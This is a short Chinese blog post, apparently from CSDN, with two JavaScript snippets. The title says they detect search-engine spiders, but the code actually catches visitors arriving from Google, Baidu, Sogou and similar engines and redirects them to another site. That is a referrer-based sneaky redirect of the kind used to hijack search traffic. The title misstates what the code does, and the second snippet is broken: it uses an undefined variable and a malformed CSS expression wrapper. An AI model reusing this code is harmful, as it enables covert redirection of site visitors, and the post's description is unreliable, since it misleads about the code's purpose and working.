js如何判断访问来源是来自搜索引擎(蜘蛛人)还是直接访问

以下javascript脚本代码可以实现判断访问是否来自搜索引擎。
代码如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script type= "text/javascript" >
if (window.name != 'ad_app6' ){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array( 'google.' , 'baidu.' , 'soso.' , 'so.' , '360.' , 'yahoo.' , 'youdao.' , 'sogou.' , 'gougou.' );
var b = false ;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true ;
break ;
}
}
  
if (b)
{
self.location = '要跳转的网址' ;
window.adworkergo = 'ad_app6' ;
}
}
</script>

介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
body {onload:expression(
if (window.name!= "Yang" ){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.' ;
var str7 = 'baidu.' ;
var str4 = 'yahoo.' ;
var str8 = 'youdao.' ;
var str9 = 'sogou.' ;
var str5 = 'soso.' ;
if (str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
  
>0 || str1.indexOf(str5)>0 && "zh-cn" ==navigator.systemLanguage)
{
self.location= 'http://www.abc.com/' ;
window.name= "Yang" ;
}
  
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值